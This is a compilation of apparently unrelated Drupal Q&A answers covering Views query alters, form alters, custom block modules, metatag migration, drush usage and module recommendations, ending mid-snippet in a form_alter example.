Generate new password for users periodically and notify user of new password

This issue was talked about during the great Drupalgeddon. Because no such bulk reset tool existed for a site.

Here is a recently created tool to perform this task. Other such tools have existed since Drupalgeddon.

Mass Password Reset Module

  This module allows users with "Administer users" permission to reset
  all user accounts and notify all users

  Details

  The module will reset the passwords of all users except the
  administrative superuser id 1. You can optionally reset the
  administrative superuser id 1. Once passwords have been reset, users
  will optionally receive emails using the Drupal password recovery
  email. The password recovery email content can be edited at the
  account settings configuration page.

  Use Cases

  You have a large number of user accounts pre-created and
  want to send password recovery emails to all users during a site
  launch. You need to quickly change all passwords on a site for
  security reasons.


"PHP Fatal error: Call to undefined method Consolidation\AnnotatedCommand\Hooks\HookManager::getHookOptions()"

I think your installation or class registry might be broken. Try doing the following things:

See if drush rebuild works (if it does not, go to the next point).
Go to your Drupal install directory and try to run composer install.
If drush rebuild didn't work in the first step, try running it again now.


Getting Image URL in Views with field_views_field

I was able to do this strictly using Views by creating a relationship to the File Entity.

I have detailed this in another post which can be found here Getting the URL from an Image (or Any File).

This eliminates the need for a URL Formatter module and is D8 compatible out of the box.


You have multiple questions, so answering the title one: "Form with Multiple fields in table format"

You can do it with custom code by themeing the form and printing the fields in a table (I can elaborate on this if you want).
One thing to note though is that if you want the user to be able to add more rows to the table this solution gets trickier.

If you do want to add more rows or if you don't want to do custom themeing for your form you you can use the field collection module along with the field collection table module.

It works pretty well, however I currently recommend using the latest dev version of the field collection table module as there are some bug fixes in there you will want.

There are also a few patches in the issue queue that you might need depending on your specific needs, so if you run into bugs (I did when I used it) try searching the issue queue for patches.


Entity reference field search by custom field

Ok, I found the issue:

SELECT
users_field_data.created AS users_field_data_created,
users_field_data.uid AS uid,
field_member_users_field_data.id AS field_member_users_field_data_id,
field_number_ownership_paragraphs_item_field_data.nid AS field_number_ownership_paragraphs_item_field_data_nid
FROM
    users_field_data as users_field_data
    LEFT JOIN paragraph__field_member as paragraph__field_member
        ON
        users_field_data.uid = paragraph__field_member.field_member_target_id AND
        paragraph__field_member.deleted = '0'

LEFT JOIN paragraphs_item_field_data as field_member_users_field_data
    ON
    paragraph__field_member.entity_id = field_member_users_field_data.id

LEFT JOIN node__field_number_ownership as field_member_users_field_data__node__field_number_ownership
    ON
    /** HERE **/
    field_member_users_field_data.id = field_member_users_field_data__node__field_number_ownership.field_number_ownership_target_revision_id AND
    field_member_users_field_data__node__field_number_ownership.deleted = '0'

LEFT JOIN node_field_data as field_number_ownership_paragraphs_item_field_data
    ON
    /** AND HERE **/
    field_member_users_field_data__node__field_number_ownership.entity_id = field_number_ownership_paragraphs_item_field_data.vid

INNER JOIN
    user__roles as user__roles ON users_field_data.uid = user__roles.entity_id   AND user__roles.deleted = '0'
WHERE (user__roles.roles_target_id = 'member')
ORDER BY users_field_data_created DESC
LIMIT 11 OFFSET 0

This is the SQL generated by the View. As you can see it is using entity_id against vid and id against target_revision_id in the joins. This may be a bug or my lack of some fundametal drupal stuff. Please let me know if that is the case: Until then, I came up wiht this query alter to solve this problem:

function aci_ssp_views_query_alter(ViewExecutable $view, QueryPluginBase $query) {
    // Ifs view id is what i'm looking for
    $tables = $query->getTableQueue();

    $tbl1 = 'field_member_users_field_data__node__field_number_ownership';
    $tables[$tbl1]['join']->leftField = 'revision_id';
    $tables[$tbl1]['join']->configuration['left_field'] = 'revision_id';

    $tbl2 = "field_number_ownership_paragraphs_item_field_data";
    $tables[$tbl2]['join']->field = 'nid';
    $tables[$tbl2]['join']->configuration['field'] = 'nid';
}


show/hide field based on user's attribute

First you need to hide all questions drop down fields by setting #access to FALSE then show each field according to the condition.

You should use hook_form_alter to alter your entityform form.

function MODULE_NAME_form_MACHINE_NAME_entityform_edit_form_alter(&$form, &$form_state) {
  global $user; // to get the current user uid

  // hide all drop down
  $form['field_day_1_activity']['#access'] = FALSE;
  $form['field_day_2_activity']['#access'] = FALSE;
  $form['field_day_3_activity']['#access'] = FALSE;
  $form['field_day_4_activity']['#access'] = FALSE;
  $form['field_day_5_activity']['#access'] = FALSE;

  // load user
  $account = user_load($user->uid);

  // get user start_date_field value
  $user_start_date = $account->field_start_date_field['und'][0]['value'];

  // show question drop down based on the condition.
  switch ($user_start_date) {
    case date('Y-m-d'):
      $form['field_day_1_activity']['#access'] = TRUE;
      break;
    case date('Y-m-d', strtotime('+1 day')):
      $form['field_day_1_activity']['#access'] = TRUE;
      $form['field_day_2_activity']['#access'] = TRUE;
      break;
    case date('Y-m-d', strtotime('+2 day')):
      $form['field_day_1_activity']['#access'] = TRUE;
      $form['field_day_2_activity']['#access'] = TRUE;
      $form['field_day_3_activity']['#access'] = TRUE;
      break;
  }
}


Option 1 - simple

Generate a block using a custom module

Making a simple block module with drupal is really easy. The examples project includes a block_example, this is a good starting point. The following is roughly what your module (d3wordcloud.module) should look like:

  d3wordcloud

  d3wordcloud.info
  d3wordcloud.module

d3wordcloud.info:

name = "D3 Word Cloud"
description = "Provides a block with awesome word cloud generated by D3."
package = custom
core = 7.x
dependencies[] = block

d3wordcloud.module:

/**
 * Implements hook_block_info().
 *
 * This hook declares what blocks are provided by the module.
 */
function d3wordcloud_block_info() {
  $blocks['word_cloud'] = array(
    // info: The name of the block.
    'info' => t('Display a pretty word cloud generated by D3'),
    'status' => TRUE,
  );
  return $blocks;
}

/**
 * Implements hook_block_view().
 *
 * This hook generates the contents of the blocks
 */
function d3wordcloud_block_view($delta = '') {
  //The $delta parameter tells us which block is being requested.
  switch ($delta) {
    case 'word_cloud':
      $block['subject'] = t("wordcloud");
      $block['content'] = '

';
      break;
  }
  return $block;
}

Within the code that generates the block you can use drupal_add_js to include both the D3 js and the word cloud js. If you then copy the script you have in your html into a .js file as well you can put a drupal_add_js in for that as well. Wrap everything but the draw function as follows

jQuery(document).ready(function($) {
  // code that initialises drawing
});

function draw() {...

More drupal javascript
 info here

The actual block content then just has to return a placeholder for your wordcloud, eg

. Your script looks like it draws straight into the body tag, so replace d3.select("body") with d3.select("#d3-wordcloud") so that the cloud ends up in your block.

Option 2 - bit more drupally and extensible?

Install the D3 module, which supplies d3 via the libraries api
Create custom module (using parts of the d3_example module as a template):

expose the D3 word cloud project as a library
make use of the word cloud in your block

Option 3 - re-usable module

As option 2 but also create a fork or patch for the tagcloud module which uses your D3 word cloud library in place of its own display. This solution will give you a block for each taxonomy vocabulary tailored to the terms associated with the viewed node.


Never used this module, might be worth looking into. It has Views integration.
Birthdays

The Birthdays module allows users to add their birthday to their profile. It also lists birthdays on a seperate page and in different blocks. Users can receive an e-mail on their birthday automatically, and the administrator can receive periodic reminders of who are having their birthday. Uses Profile module from core.


Commerce message notify sending duplicate emails

It's obvious that the update event you're using in your custom rule gets triggered twice, which explains why you get those duplicate mails. I've seen similar issues in the past with other entities being updated (using similar events), for entities such as users or nodes.

If you cannot find the root cause for the duplicate trigger, and cannot use any other Rules Event as an alternative, then the typical solution is to use the Flag module like so:

Define a non-global flag to flag orders.
Add a Rules Action to your custom rule to also flag the order (for which you want to send such eMails).
Add an extra Rules Condition to check that the order is NOT (repeat: NOT!) yet flagged.

With the above tuning of your existing rule in place, the first time your rule is triggered the Rules Actions do get performed (= send the eMail and flag the order) and the second time the extra Rules Condition will prevent the Rules Actions to be performed (= no more duplicate eMail).

Easy, no? ... And it works for any entity ...


I'd do something like this:

$items['share/%'] = array(
  'page callback' => 'ym_alter_sharing_content',
  'page arguments' => array(1),
  'access callback' => 'user_is_logged_in',
  'type' => MENU_CALLBACK,
);

function ym_alter_sharing_content($some_arg = NULL) {
  module_load_include('inc', 'node', 'node.pages');
  $form = node_add('share');
  array_unshift($form['actions']['submit']['#submit'], 'ym_alter_sharing_sub');
  return render($form);
}

function ym_alter_sharing_sub($form, &$form_state){
  //dsm($form_state['values']);
  var_dump($form_state['values']);
  die("kill for debugging");
}

EDIT:
Another suggestion:

module_load_include('inc', 'node', 'node.pages');
$node_type = 'YOURNODETYPE';
$form_id = $node_type . '_node_form';

$node = new stdClass();
$node->type = $node_type;
node_object_prepare($node);

$form = drupal_get_form($form_id, $node);
array_unshift($form['actions']['submit']['#submit'], 'ym_alter_sharing_sub');
return render($form);


How to change MENU_LOCAL_TASK title for the View and Edit tabs according to content type?

hook_menu() implementations are cached so aren't executed for every page (can you imagine how bad that would be for performance?)

You can use the title callback property from hook_menu() to evaluate a title on each page load, e.g.

$items['node/%node/view']['title callback'] = 'MYMODULE_title_callback';
$items['node/%node/view']['title arguments'] = array(1);

...

function MYMODULE_title_callback($node) {
  if ($node->type == 'foo') {
    return 'bar';
  }
  else {
    return 'baz';
  }
}


Credit card and check payments in one order type

Seems like I was wrong about the 2nd order type.  Here's what I ended up doing:

I created a 2nd Order Type with the "Default, with Validation" workflow and a 2nd Order Item Type pointing to the new Order Type.

Then I used the "hook_commerce_order_presave" hook to change the order type from the default first Order Type to the other at the "review" step of the checkout.

Still, to me, this seems like a common enough occurrence (checks & credit cards accepted in one store) that there should be a no-code solution.  If someone know it, please share!


Exposed Filter Filtering on Unpublished Revision

After figuring out the magical combination of keywords (it's "views filter exposed content revision") I found someone with the same problem:

"Unpublished data belongs to the latest revision of a content type is accessible for querying by the Views module"

https://www.drupal.org/node/2098211

Drupal user fbrooks replied:

  lavms,

  I don't think modifications to the Revisioning module are necessary to address this.

  I was dealing with, what I believe is, a similar issue. I have a content type with a boolean field used in a filter in a view such that a node will appear if the field if set to true. When you create a node revision under moderation that has the boolean field set to false, the node would be filtered out of the view before the revision is published.

  I was able to address this by recreating the view and selecting "Content revisions" instead of "Content" from the "Shows" drop down list on the new view page. This results in node_revision instead of node being used as the base table, and automatically adds a join between the node_revision and node table on vid. When selecting fields for display or filtering I used the ones that begin "Content (historical data)", which results in the values from the field_revision_* instead of field_data_* tables being used. All these things combined resulted in the correct revision being used by the filter.

  Hope this helps.

  Frank

This is the "core view" of the site and is quite entrenched so recreating it will not be simple, but it has turned from an unknown problem to a known and solvable one.

Thanks sareed for your help.


Give restricted editors access to unpublished nodes

I think you'll find the Workbench module (Drupal 7 only) will fit your needs nicely.  There's a good screencast explaining the module on the project page.


It's not initially obvious where and how to make these changes, fortunately it's not too hard to rewrite the output of the fields in views.

You can make a new views template fields from the display:

Other > Theme:Information link

Then edit the code adding your HTML around the Php and dropping it into your theme templates folder.

Or another way which I find is a lot quicker especially when there is a lot of changes going on in a development of a site, use the global custom text field or write the content fields.

I will use the title field to add an attribute as an example for you to follow.

In your view:

*edit Fields > title*

*Rewrite results >* tick *Rewrite the output of this field*

In the text field add the following code using the tokens options provided and editing your HTML to your requirements.

<h2 class"yourclass" data-text="test text">[title]</h2>

Save the view and you will see your attributes in your Views display.

To add to this if you use the field Global text you can hide each of your fields then rewrite the HTML to whatever you need to, adding HTML for each token in the row.


Redirect to last page visited on 404 error

There's a module for that: CustomError, which has a development snapshot for Drupal 7.

  This module allows the site admin to create custom error pages for 404 (not found), and 403 (access denied), without the need to create nodes for each of them.

  Since the error pages are not real nodes, they do not belong a category term, they do not show in the search, and will not show up in node listings, or in Popular Content block.


Reduce installation time and increase the installation speed using drush command "site-install"

Is there any min requirement in-terms of hardware to install the distribution via drush

No, there aren't any minimum hardware requirements. If your machine can run the software that Drush relies on, Drush can run.

  does it require any additional configuration in php.ini or httpd.conf config file

It depends on your environment - the project page has all the information you'll need.

  Is there any alternate way to install the distribution via drush with minimal time

I don't see how there would be. The Drush guys aren't going to have made that process intentionally slow, so it'll probably be as quick as it can be.

  Can anyone tell me how to increase the installation speed and reduce installation time using drush command "site-install"

That's down to the specs of your machine; the obvious (if slightly patronising) answer is simply to buy better hardware if yours isn't up to the task you want to use it for.

Bottom line, if you're installing a "larger size distribution" you can expect it take more resources. If that amount of resources is more than you have to give, it's time to look at buying better hardware.


Try Webform conditional module, it provides you the same thing.


How do I (in general) track down what happens on form submit?

You mean updating the field instance settings programmatically, in an update hook, hook_update_N(). Do it as follows:

function YOURMODULE_update_N(&$sandbox) {
  // First load the field instance.
  $instance = field_info_instance($entity_type, $field_name, $bundle);
  // Make the changes in the field instance configuration.
  $instance['widget']['settings']['apply_chosen'] = 1;
  // Save the field instance.
  field_update_instance($instance);
}


Try change in my_modules.views.schema.yml type on views.filter.many_to_one


Cannot print page title in page.html.twig

The variable {{ title }} is only used in maintenance and install pages where blocks are not available. See the change record https://www.drupal.org/node/2568563


Change language of a JS element when language has been changed from Drupal language switcher?

Something like this is what you're looking for I think.

theme_js_alter($js) {
  $language = \Drupal::languageManager()->getCurrentLanguage()->getId();
  foreach ($js as $key => $value) {
    if (strpos($value['data'], 'www.websiteofapi.com/alpportal/oa_head.js') !== 0) {
      $value['data'] = "//www.websiteofapi.com/alpportal/oa_head.js?proj=api-of-our-company&key=api-key-goes-here&lang=$language&leaflet_gshim=1"
    }
  }
}

Also see Get current language in template


Allowing anonymous user based on condition

You can store a value on the session if the password match and then check that value:

$_SESSION['password_match'] = TRUE;

Or even better, as suggested by @4k4 you can do it the D8 way.

CookieForm class:

$session = $this->getRequest()->getSession();
$session->set('password_match', TRUE);

hook:

$password_match = \Drupal::request()->getSession()->get('password_match');


Allow a user to upload a PDF file to a specific block within a page

You could use the Entity Reference module to add the "Select a page for the PDF to populate" field (in the "Brochure" content type).

Then, create a View block that filters on "content type = brochure" and which pulls the PDF file field only. Set up a Contextual Filter for the entity reference field (the one that you selected the node/page for the PDF to populate on) and provide a default value of the nid of the page being viewed.

Placing this block in a region should pull related PDFs for pages that have been referenced. Should work!


Can filter by file upload description but not sort by it?

to sort by a field you should have that field in the result of view, in your example you can sort by the field "Resource Upload" because it figure in FIELDS section.. so to sort by "Description" field you have to add it first to FIELDS section and you can hide it later.


Hyphens or underscores when referencing a path alias in Drupal 7 templates?

When a hyphen is used in a template filename, or template suggestion, the hyphen is replaced with an underscore. That is done in theme_get_suggestions(), and drupal_find_theme_templates() which use, respectively, the following code.

// Remove slashes or null per SA-CORE-2009-003 and change - (hyphen) to _
// (underscore).
//
// When we discover templates in @see drupal_find_theme_templates,
// hyphens (-) are converted to underscores (_) before the theme hook
// is registered. We do this because the hyphens used for delimiters
// in hook suggestions cannot be used in the function names of the
// associated preprocess functions. Any page templates designed to be used
// on paths that contain a hyphen are also registered with these hyphens
// converted to underscores so here we must convert any hyphens in path
// arguments to underscores here before fetching theme hook suggestions
// to ensure the templates are appropriately recognized.
$arg = str_replace(array("/", "\\", "\0", '-'), array('', '', '', '_'), $arg);

// Transform - in filenames to _ to match function naming scheme
// for the purposes of searching.
$hook = strtr($template, '-', '_');
if (isset($cache[$hook])) {
  $implementations[$hook] = array(
    'template' => $template,
    'path' => dirname($file->uri),
  );
}

Whenever you are adding a theme template suggestion, or you are looking for a template file to use, you should replace hyphens with underscores, in the same way Drupal does.


Finally I came up with a solution and I post it here in case anyone else has the same problem. There are two tables in the legacy site named metatags and  metapages, in which you can find everything needed for importing the metatags.

So in my prepareRow() in each node migration class I added these rows, and now the metatags from the legacy Drual 6 site has been imported to my Drupal 7 site :-)

$metapages_path = !empty($row->nid) ? 'node/'.$row->nid : false;
if($metapages_path){
    $meta_title_pid = Database::getConnection($target='default', $key='legacy')->query('SELECT f.title, f.pid FROM {metapages} f WHERE f.path = :path',array(':path' => $metapages_path))->fetchAssoc();
}
$meta_title = !empty($meta_title_pid['title']) ? $meta_title_pid['title'] . ' | [site:name]' : '';
$this->addFieldMapping('metatag_title')->defaultValue($meta_title);
$meta_pid = !empty($meta_title_pid['pid']) ? $meta_title_pid['pid'] : false;
if($meta_pid){
    $meta_keywords = Database::getConnection($target='default', $key='legacy')->query('SELECT f.value FROM {metatags} f WHERE f.name = :key AND f.parent_pid = :pid',array(':pid' => $meta_pid, 'key' => 'keywords'))->fetchAssoc();
    $meta_description = Database::getConnection($target='default', $key='legacy')->query('SELECT f.value FROM {metatags} f WHERE f.name = :key AND f.parent_pid = :pid',array(':pid' => $meta_pid, 'key' => 'description'))->fetchAssoc();
}
$keywords = !empty($meta_keywords['value']) ? $meta_keywords['value'] : '';
$this->addFieldMapping('metatag_keywords')->defaultValue($keywords);
$description = !empty($meta_description['value']) ? $meta_description['value'] : '';
$this->addFieldMapping('metatag_description')->defaultValue($description);


Drupal modules are basically PHP code, and because PHP is on the server side, you cannot do mathematical actions upon user's input without submitting your data to the server(Which will refresh your page).

The only solution to do what you want is to add some Javasciprt to do it for you.

Here is a tutorial explaining how to add JS to Drupal

https://www.drupal.org/node/756722


Is it possible to bypass the admin approval step based on a particular condition?

Take a look at User Restrictions module for Drupal 7 and Access Rules for Drupal 6.

UPDATE

For registering users based on unique code check out regcode module


About this problem :

  Also internal URL's are linked as http:// localhost/node/1 which should have been http:// localhost/mysite/node/1

The solution lies in the .htaccess file, at the root of your site : locate the line with RewriteBase, uncomment it if needed, and set it to : RewriteBase /mysite/


Privatemsg 6.x-2.x has a Limits submodule built in, either use that version or use try out the separate project for 6.x-1.x, you will have to find out yourself it is working well enough for you.


Strip HTML tags from Field Collections in Services Views

You have to tell use what you have done so far.

To strip tags use strip_tags php code. This function takes two parameters:

string strip_tags ( string $str , [string $allowable_tags ] )

The first argument is the string and the optional second parameter is to specify tags which should not be stripped. For example

<?php
    echo strip_tags("Hello world!","");
?>

Will output this

  Hello world!

Not

  Hello world!

I guess you have to use views_datasource module to generate JSON. I have already used this module and no default HTML tag were inserted by the View.

Did you try preprocess functions to strip the tags from the view?


View - show predetermined result set prior to exposed filter

All you need to do is:

Create a Boolean field to mark highlights (Let's say field_highlights)
Add a views filter for field_highlight with the following detail:

2.1. Not exposed

2.2. Operation: Is one of

2.3. Options: Select both 'On' and 'Off'
Write a bit of magic code which:

3.1. Checks if the user has not used the exposed filters yet

3.2. Alters the options for our filter to only show 'On' values

Last part sounds difficult? Actually it's not:

    <?php

    /**
     * Implements hook_views_pre_view().
     *
     * Applys a custom filter if there is no filter applyed by user
     *
     */
    function YOURMODULE_views_pre_view(&$view, &$display_id, &$args) {
        // Make sure we are altering the right view
        if ($view->name == 'YOUR_VIEW_NAME') {
            // Get the user input for exposed filters
            $user_input = $view->get_exposed_input();
            // Check if there is no user input
            if (empty($user_input)) {
                // The filter name for selecting highlighted items
                $filter_name = 'field_highlighted_value'; // Figure the filter name by looking at the exported views
                // Getting the filter array
                $filter = $view->get_item($view->current_display, 'filter', $filter_name);
                // Setting the value to TRUE
                $filter['value'] = array(1=>'1');
                // Saving the changes to the filter
                $view->set_item($view->current_display, 'filter', $filter_name, $filter);
            }
        }
    }


alter query view by adding fields in an andGroup within an orGroup

At first I found this function: $query->addWhereExpression(...) which allows me to write the query code myself.
I kept the problem the original, by views generated code, always results in this pseudocode:
cond1 AND (cond2 AND cond3)
The needed pseudoce shoudl be:
(cond1 AND cond2 AND cond3)
And I have to add an OR clause: (cond1 AND cond2 AND cond3)
In total giving this code:
(cond1 AND cond2 AND cond3) OR (cond4 AND cond5 AND cond6)
See my full working function below.
I hope others can benefit of this function and developpers will be inspired by the code. Currently there are only few examples and even less documentation.
<?php

/**
 * @file
 * example module file to alter the Drupal suuplied taxonomy_term view by adding nodes from the non-current language to the current language, avoiding duplicates based on the nid.
 */

use Drupal\views\ViewExecutable;
use Drupal\views\Plugin\views\query;
use Drupal\views\Plugin\views\query\QueryPluginBase;

/**
 * Implements hook_views_query_alter().
 *
 * Alters the taxonomy_term view.
 * Only valid for sites with two languages.
 * Add nodes of the other language to the view if they have a different nid.
 *
 * @param \Drupal\views\ViewExecutable $view
 * @param \Drupal\views\Plugin\views\query\QueryPluginBase $query
 */
function example_views_query_alter(ViewExecutable $view, QueryPluginBase $query){
  if ($view->id() == 'taxonomy_term' && $view->current_display == 'page_1') {
    $language = \Drupal::languageManager()->getCurrentLanguage()->getId();
    // If the view should not be modified for a specific language.
    // if ($language == 'en') {
    //   return;
    // }

    // Step 1.
    // Gather info about the current views query.
    // There are a lot of checks because we will be sure the information about
    // the current query can be interpreted and changed:
    // - an administrator can change the view
    // - drupal can change the implementation in a future version
    // - another hook_..._alter can change the query as well.
    $values = $errors = [];
    $in_operator = 'IN';
    $in_reverse = [
      'IN' => 'NOT IN',
      'NOT IN' => 'IN',
    ];
    $expected_conditions = [
      // fieldname => expected operator.
      'node_field_data.langcode' => 'in',
      'taxonomy_index.tid' => 'formula',
      'taxonomy_index.status' => '=',
    ];
    // Traverse through the 'where' part of the query and save relevant data.
    foreach ($query->where as $condition_group) {
      foreach ($condition_group['conditions'] as $condition) {
        // The $condition['field'] can contain several 'words'.
        $parts = explode(' ', $condition['field']);
        $fieldname = $parts[0];
        // Do we expect this fieldname?
        if (isset($expected_conditions[$fieldname])) {
          $parts = explode('.', $fieldname);
          // For our conveniance we use the short table names.
          $values[$parts[1]] = $condition['value'];
          if (strcasecmp($expected_conditions[$fieldname], $condition['operator']) != 0) {
            $error = TRUE;
            if ($expected_conditions[$fieldname] == 'in') {
              if (strtolower($condition['operator']) == 'not in') {
                $expected_conditions[$fieldname] = $condition['operator'];
                $error = FALSE;
              }
              $in_operator = strtoupper($expected_conditions[$fieldname]);
            }
            if ($error) {
              $errors[] = 'Unexpected operator ' . $condition['operator']
                . ' in field: ' . $fieldname
                . '. Expected: ' . $expected_conditions[$fieldname];
            }
          }
        }
        else {
          $errors[] = 'Unexpected condition field: ' . $fieldname;
        }
      }
    }

    // Step 2.
    // All values are transformed for the queries.
    // All expected conditions found?
    // Status may be absent / create the query part for status.
    if (!isset($values['status'])) {
      $values['status'] = '';
    }
    else {
      $values['status'] = " AND taxonomy_index.status = '" . $values['status'] . "'";
    }
    if (count($expected_conditions) != count($values)) {
      $errors[] = 'One or more conditions are missing.';
    }
    // If errors found, log these and quit. Better safe then sorry.
    if (!empty($errors)) {
      $message = 'Error in function example_views_query_alter() to alter view taxonomieterm.';
      foreach ($errors as $err) {
        $message .= '<br />- ' . $err;
      }
      \Drupal::logger('example')->critical($message);
      return;
    }

    // Get the current taxonomy tid value for queries.
    $values['tid'] = array_shift($values['tid']);
    // Substitute language placeholder with current language.
    foreach ($values['langcode'] as &$lc) {
      $lc = str_replace('***LANGUAGE_language_interface***', $language, $lc);
    }

    // Step 3.
    // Lookup if the other language has additional nodes.
    // Find all nids for the current node langages.
    $db = \Drupal::database();
    $current_lang = $db->query("SELECT node_field_data.nid AS nid
      FROM {node_field_data} node_field_data
      LEFT JOIN {taxonomy_index} taxonomy_index ON node_field_data.nid = taxonomy_index.nid
      WHERE taxonomy_index.tid = :tid AND node_field_data.langcode "
        . $in_operator . " (:langcodes[])" . $values['status'],
      [':tid' => $values['tid'], ':langcodes[]' => $values['langcode']])
      ->fetchCol();
    // Also for the other langauge.
    $missing_lang = $db->query("SELECT node_field_data.nid AS nid
      FROM {node_field_data} node_field_data
      LEFT JOIN {taxonomy_index} taxonomy_index ON node_field_data.nid = taxonomy_index.nid
      WHERE taxonomy_index.tid = :tid AND node_field_data.langcode "
        . $in_reverse[$in_operator] . " (:langcodes[])" . $values['status'],
      [':tid' => $values['tid'], ':langcodes[]' => $values['langcode']])
      ->fetchCol();
    // Get missing nids.
    $missing = array_diff($missing_lang, $current_lang);
    // No nodes to add?
    if (empty($missing)) {
      return;
    }

    // Step 4.
    // Change the where clause of the query.
    // We like to add only an OR group with the nids to add.
    // The current where clause creates the following pseudo code:
    // WHERE cond1 AND (cond2 AND cond3)
    // But we need:
    // WHERE (cond1 AND cond2 AND cond3)
    // No way was found to change the current query to the needed clause.
    // The goal is to expand the where clause with this result:
    // WHERE (cond1 AND cond2 AND cond3) OR (cond4 AND cond5 AND cond6)
    // So recreate the whole where clause.
    $query->where = [];
    // Create a new OR group using the original content.
    $group_id = $query->setWhereGroup('OR');
    $snippet = "taxonomy_index.tid = :tid AND node_field_data.langcode "
      . $in_operator . " (:langcodes[])" . $values['status'];
    $query->addWhereExpression($group_id, $snippet,
      [':tid' => $values['tid'], ':langcodes[]' => $values['langcode']]);
    $snippet = "taxonomy_index.tid = :tid AND node_field_data.nid IN (:missing[]) AND node_field_data.langcode "
      . $in_reverse[$in_operator] . " (:langcodes[])";
    $query->addWhereExpression($group_id, $snippet, [':tid' => $values['tid'],
      ':missing[]' => $missing, ':langcodes[]' => $values['langcode']]);
    // An alternative is to combine the two $snippets.
    // But this works: the OR statments are more clear.
  }
}


Webform submission redirect to view with node ID

If it's anything like Drupal 8, tokens are supported if you pick the "URL (redirects to a custom path or URL)" confirmation type.

I'd try entering /grade-details/[token:here]

Some tokens that might work:
[current-page:url:absolute]
or
[current-page:url:relative]


Access Denied After ERPal Platform Install

Currently ERPAL platform is in active development status, and you can use ERPAL platform in full power, like admin user only. As ERPAL platform is based on Drupal, you can configure permissions by yourself on admin pages.


Do any comment modules play well with revisioning?

I'm thinking out loud here... to simplify some aspects, I would probably try something like this first:

set up each 'revision' as it's own content
add a field that will follow each revision (ie. an internal product code that doesn't change even with revisions)
add a Views block to the bottom of the content page for that content type which includes a filter of ALL comments where those comments share the same internal product code but not from the current content - that way direct comments show normally, and then there's a view showing comments from the other revisions


Check out the Popups module, it may be what you are looking for.


How to add an additional wrapper div within a Views row?

This could be done in a couple of ways depending on your requirement.

If you want to add a wrapper div to a particular row: (Note: This will work if you are displaying fields in the view)

Click on that field.
Under style settings select the HTML element, and choose DIV.
You can also add the class to this div with the "Create a CSS class" option.

If you want to add a wrapper to all the rows: (NOTE: This will only work for D7)

The best way to do this is via a views template. Click on the "Advanced" section on the right hand side.
Click on the "Theme information"

Select "Views row style output"
Copy the template content.
Create a template with the name provided against "Row style output" link in the screenshot above. Paste the content into it.
Add an extra div element in the template directly.
Note: The template overrides are provided from "generic" to specific" if you go from left to right. E.g. views-view-fields.tpl.php would get applied to all the rows of all the views, and the specificity of the templates goes on increasing as you go right of the "Theme information".


Using Mysql LOAD DATA LOCAL INFILE with drush

drush sql-query has a not-very-well documented option flag called --extra. This flag is used when connecting via the mysql command to add extra options to the command string. So a drush sql-query --extra '--local-infile' should enable Drush to connect the client with your needed option.


Hide Price by Role for a Content Type in Drupal 7

I have never used Drupal Commerce, however I understand that you want to hide a field according to a role. That is doable through hook_field_access().

hook_field_access($op, $field, $entity_type, $entity, $account)

  Determine whether the user has access to a given field. This hook is
  invoked from field_access() to let modules block access to operations
  on fields. If no module returns FALSE, the operation is allowed.

https://api.drupal.org/api/drupal/modules%21field%21field.api.php/function/hook_field_access/7


strpos() returns the zero-based offset of the first occurrence of the test string. So if your string is article and the node type is article, it will return 0.

Your if statement is basically doing this check:

if (true == 0) { ...

Since 0 is a boolean FALSE in PHP the condition isn't satisfied, and the if construct is never entered.

There are a few ways you can change the if statement which basically boil down to the same thing:

if ($node->type == 'article') {
if (strpos($node->type, 'article') !== FALSE) {
if (strpos($node->type, 'article') === 0) {


Where does Drupal store information after creating a rule?

Rules are stored in the rules_rules table in D7. The table contains the rows of name (a machine readable name) and data (a data blob).

^ this is from D6, D7 has rules stored in rules_config, with rules_trigger holding the triggers and the ID of the rule and the trigger matching to each other.


D7 performance issues once uploaded to remote server

Check if you're experiencing the same issue for anonymous visitors?
Try increasing php memory
When was the last time you ran the cron?


You can add some logic in a hook_preprocess_page() implementation that checks the alias, and adds theme hook suggestions if the path matches, e.g.

function MYTHEME_preprocess_page(&$vars) {
  $alias_parts = explode('/', drupal_get_path_alias());

  if (count($alias_parts) && $alias_parts[0] == 'mydirectory') {
    $vars['theme_hook_suggestions'][] = 'page__mycustomtemplate';
  }
}

Then if you create a page--mycustomtemplate.tpl.php file in your theme, and clear the cache, any pages with an alias beginning mydirectory/ will use that new file instead of the standard page.tpl.php.


Upgrade breaks Rest Export View in Calendar

My edit gave me a clue to look at the date formatting. In our specific calendar instance there is an event-calendar.js file that was manually converting the dates pre-Drupal 8.7 to UTC with a .field_date_range[0].value+'+00:00',. It appears that Drupal 8.7 does this automatically, so removing that extra bit of code solved the issue and dates are being populated into the calendar correctly now.

EDIT: For those interested, I was finally able to find the drupal documentation about this change in 8.7 here


User login through token in URL in drupal 6

urllogin module provides a way to transparently log users into the web site when they follow a link.

Give the “login via URL” permission to users who are allowed to log in with this module.

Alternatively you can try this module also

Easy Login allows the admin to give a permission to users so they are able to log in via an url.

Hope it will match your requirement !!


The add another option only appear if you choose unlimited in field settings.
If you choose an exact number say 5, it will display 5 image upload fields always.
Its the default property.


Any way to convert a page of type X into page of type Y?

The Node Convert module allows you to convert individual nodes (it adds a convert tab to the node) and bulk convert. It also handles moving over values in CCK fields from one node type to another.


Drupal 7 commerce stripe stripe-php library refuse to load

Finally found the solution.
There is wrong information about installing library on drupal dot org.
It says

Installation
Install and activate Commerce Stripe and Libraries modules.
Download the latest Stripe PHP release from GitHub.
Extract the contents of the archive into the directory /sites/all/libraries/stripe-php
Create an account at Stripe.com, and insert your API keys from the Stripe
Dashboard into the Commerce Stripe payment method settings at admin/commerce/config/payment-methods.

So the thing is that this is the wrong information. If you go to commerce_stripe.module and find hook commerce_stripe_libraries_info() in 'version arguments' you will see that it tries to locate in file VERSION this pattern:
'pattern' => '/(3.\d+(\.\d+)?)/',
It means that you need version 3 of stripe-php library(depends on your commerce_stripe module version).
So fix for this is to use correct version of stripe-php library
UPDATE
You can check necessary library's status by executing drush library-list
you will see something like this:
Name                   Status        Version  Variants          Dependencies  Provider
stripe-php             Not detected           -                 -             Commerce Stripe

if stripe-php library's status is not detected, then you user wrong version or place the library to the wrong place.


How do I reload the theme .info file on Drupal 7


You should never use simple document ready in Drupal.

Drupal Behaviors was created specifically to address issues like yours. Nice entry manual can be found here.

Quick example:

(function($) {
  Drupal.behaviors.yourmodule = {
    attach: function (context, settings) {
      // your code here
    }
  };
})(jQuery);

In your code, remember to use context, like $('input[type=radio]') should become $('input[type=radio]', context)


How To Hide the Contact Button and Replace with a Message

You can use hook_form_alter. Find your form name and use the code below (form api doc).

function yourmodule_form_alter(&$form, &$form_state, $form_id) {
